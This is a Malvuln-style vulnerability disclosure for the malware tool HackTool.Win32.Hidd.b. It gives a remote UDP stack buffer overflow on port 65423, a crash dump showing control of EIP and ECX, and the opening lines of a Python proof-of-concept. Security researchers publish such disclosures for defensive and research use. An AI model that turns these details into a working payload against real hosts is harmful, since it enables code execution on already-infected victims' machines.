Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: HackTool.Win32.Hidd.b  
Vulnerability: Remote Stack Buffer Overflow (UDP Datagram)  
Description: The malware listens on UDP ports 52810 and 65423. Third-party attackers who can reach an infected system can send a 479 byte payload to port 65423 and trigger a classic stack buffer overflow overwriting the EIP, ECX registers.  
Type: PE32  
MD5: 665a408981294ca49be23096363eec2f  
Vuln ID: MVID-2021-0318  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 08/11/2021  
Memory Dump:  
EAX : 00000000  
EBX : 00000000  
ECX : 41414141  
EDX : 77AC9D70 ntdll.77AC9D70  
EBP : 000A12D8  
ESP : 000A12B8  
ESI : 00000000  
EDI : 00000000  
EIP : 41414141  
EFLAGS : 00010246  
ZF : 1  
OF : 0  
CF : 0  
PF : 1  
SF : 0  
TF : 0 L'ฤ€'  
AF : 0 L'ฤ€'  
DF : 0  
IF : 1  
LastError : 00000000 (ERROR_SUCCESS)  
LastStatus : 00000000 (STATUS_SUCCESS)  
GS : 002B athl_dump_scy.53002B  
ES : 002B  
CS : 0023  
FS : 0053  
DS : 002B  
SS : 002B '+'  
dumpchk -y c:\symbols "c:\dump\athl.exe.604.dmp".  
Total memory: 684e000  
Stream 3: type MemoryInfoListStream (16), size 00008080, RVA 0000A8EE  
Stream 4: type ExceptionStream (6), size 000000A8, RVA 0000066C  
ThreadID 5056  
ExceptionCode C0000005  
ExceptionRecord 0  
ExceptionAddress 41414141  
Context record RVA 4194, size 2cc  
Stream 5: type SystemInfoStream (7), size 00000038, RVA 000000E0  
ProcessorArchitecture 0000 (PROCESSOR_ARCHITECTURE_INTEL)  
ProcessorLevel 0006  
ProcessorRevision 9E09  
NumberOfProcessors 01  
MajorVersion 0000000A  
MinorVersion 00000000  
BuildNumber 00003FAB (16299)  
PlatformId 00000002 (VER_PLATFORM_WIN32_NT)  
CSDVersionRva 00002A94  
Length: 0  
Product: WinNt, suite: SingleUserTS  
from socket import *  
s=socket(AF_INET, SOCK_DGRAM)  
s.connect((MALWARE_HOST, PORT))  
print("HackTool.Win32.Hidd.b / Remote Stack Buffer Overflow (UDP Datagram)")  
print("MD5: 665a408981294ca49be23096363eec2f")  
print("By Malvuln")  
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